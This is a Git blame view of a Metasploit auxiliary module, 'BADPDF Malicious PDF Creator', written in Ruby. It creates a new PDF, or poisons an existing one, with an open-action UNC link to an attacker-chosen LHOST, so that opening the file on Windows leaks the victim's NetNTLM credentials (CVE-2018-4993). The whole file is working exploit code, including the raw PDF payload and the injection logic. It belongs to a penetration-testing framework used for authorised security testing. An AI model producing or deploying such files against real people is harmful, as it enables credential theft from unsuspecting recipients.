Files
metasploit-gs/modules/auxiliary/fileformat/badpdf.rb
T

159 lines
5.3 KiB
Ruby
Raw Normal View History

2018-06-07 16:40:57 +01:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
2018-06-12 22:55:38 +01:00
def initialize(info = {})
super(update_info(info,
2018-06-07 16:40:57 +01:00
'Name' => 'BADPDF Malicious PDF Creator',
2018-06-12 22:55:38 +01:00
'Description' => '
2018-06-07 16:40:57 +01:00
This module can either creates a blank PDF file which contains a UNC link which can be used
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
code into an existing PDF document if possible.
2018-06-12 22:55:38 +01:00
',
2018-06-07 16:40:57 +01:00
'License' => MSF_LICENSE,
2018-06-09 17:03:32 +01:00
'Author' =>
2018-06-07 16:40:57 +01:00
[
2018-06-09 17:03:32 +01:00
'Assaf Baharav', # Code provided as POC by CheckPoint
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
'Ido Solomon', # Code provided as POC by CheckPoint
2018-06-12 22:55:38 +01:00
'Richard Davy - secureyourit.co.uk', # Metasploit
2018-06-07 16:40:57 +01:00
],
2018-06-12 22:55:38 +01:00
'Platform' => ['win'],
2018-06-07 16:40:57 +01:00
'References' =>
[
['CVE', '2018-4993'],
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
2018-06-12 22:55:38 +01:00
])
)
2018-06-07 16:40:57 +01:00
register_options(
[
2018-06-12 22:55:38 +01:00
OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
OptString.new('FILENAME', [false, 'Filename']),
OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
]
)
2018-06-07 16:40:57 +01:00
end
def run
if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil?
2018-06-12 22:55:38 +01:00
print_error 'Please configure either FILENAME or PDFINJECT'
2018-06-10 22:18:17 +01:00
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
injectpdf
elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
createpdf
2018-06-07 16:40:57 +01:00
else
print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
2018-06-07 16:40:57 +01:00
end
end
def injectpdf
2018-06-12 22:55:38 +01:00
# Payload which gets injected
2018-06-07 16:40:57 +01:00
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
2018-06-12 22:55:38 +01:00
# if given path doesn't exist display error and return
unless File.exist?(datastore['PDFINJECT'])
# If file not found display error message
2018-06-09 16:44:37 +01:00
print_error "File doesn't exist #{datastore['PDFINJECT']}"
return
end
2018-06-07 16:40:57 +01:00
2018-06-12 22:55:38 +01:00
# Read in contents of file
2018-06-09 16:44:37 +01:00
content = File.read(datastore['PDFINJECT'])
2018-06-07 16:40:57 +01:00
2018-06-12 22:55:38 +01:00
# Check for place holder - below ..should.. cover most scenarios.
newdata = ''
2018-06-11 08:06:02 +01:00
[2, 4, 6, 8].each do |pholder|
unless content.index("/Contents #{pholder} 0 R").nil?
2018-06-12 22:55:38 +01:00
# If place holder exists create new file content
newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
2018-06-11 08:06:02 +01:00
break
end
2018-06-09 16:44:37 +01:00
end
2018-06-12 22:55:38 +01:00
# Display error message if we couldn't poison the file
if newdata.empty?
print_error 'Could not find placeholder to poison file this time....'
2018-06-09 16:44:37 +01:00
return
end
2018-06-09 17:03:32 +01:00
2018-06-12 22:55:38 +01:00
# Create new filename by replacing .pdf with _malicious.pdf
2018-06-10 22:18:17 +01:00
newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
2018-06-12 22:55:38 +01:00
# Write content to file
2018-06-09 16:44:37 +01:00
File.open(newfilename, 'wb') { |file| file.write(newdata) }
2018-06-12 22:55:38 +01:00
# Check file exists and display path or error message
if File.exist?(newfilename)
2018-06-10 22:18:17 +01:00
print_good("Malicious file writen to: #{newfilename}")
2018-06-07 16:40:57 +01:00
else
2018-06-12 22:55:38 +01:00
print_error 'Something went wrong creating malicious PDF file'
2018-06-07 16:40:57 +01:00
end
end
def createpdf
2018-06-12 22:55:38 +01:00
# Code below taken POC provided by CheckPoint Research
pdf = ''
2018-06-07 16:40:57 +01:00
pdf << "%PDF-1.7\n"
pdf << "1 0 obj\n"
pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
pdf << "endobj\n"
pdf << "2 0 obj\n"
pdf << "<</Type/Pages/Kids[3 0 R]/Count 1>>\n"
pdf << "endobj\n"
pdf << "3 0 obj\n"
pdf << "<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>\n"
pdf << "endobj\n"
pdf << "xref\n"
pdf << "0 4\n"
pdf << "0000000000 65535 f\n"
pdf << "0000000015 00000 n\n"
pdf << "0000000060 00000 n\n"
pdf << "0000000111 00000 n\n"
pdf << "trailer\n"
pdf << "<</Size 4/Root 1 0 R>>\n"
pdf << "startxref\n"
pdf << "190\n"
pdf << "3 0 obj\n"
pdf << "<< /Type /Page\n"
pdf << " /Contents 4 0 R\n"
pdf << " /AA <<\n"
pdf << " /O <<\n"
pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n"
pdf << " /D [ 0 /Fit]\n"
pdf << " /S /GoToE\n"
pdf << " >>\n"
pdf << " >>\n"
pdf << " /Parent 2 0 R\n"
pdf << " /Resources <<\n"
pdf << " /Font <<\n"
pdf << " /F1 <<\n"
pdf << " /Type /Font\n"
pdf << " /Subtype /Type1\n"
pdf << " /BaseFont /Helvetica\n"
pdf << " >>\n"
pdf << " >>\n"
pdf << " >>\n"
pdf << ">>\n"
pdf << "endobj\n"
pdf << "4 0 obj<< /Length 100>>\n"
pdf << "stream\n"
pdf << "BT\n"
pdf << "/TI_0 1 Tf\n"
pdf << "14 0 0 14 10.000 753.976 Tm\n"
pdf << "0.0 0.0 0.0 rg\n"
pdf << "(PDF Document) Tj\n"
pdf << "ET\n"
pdf << "endstream\n"
pdf << "endobj\n"
pdf << "trailer\n"
pdf << "<<\n"
pdf << " /Root 1 0 R\n"
pdf << ">>\n"
pdf << "%%EOF\n"
2018-06-12 22:55:38 +01:00
# Write data to filename
2018-06-07 16:40:57 +01:00
file_create(pdf)
end
end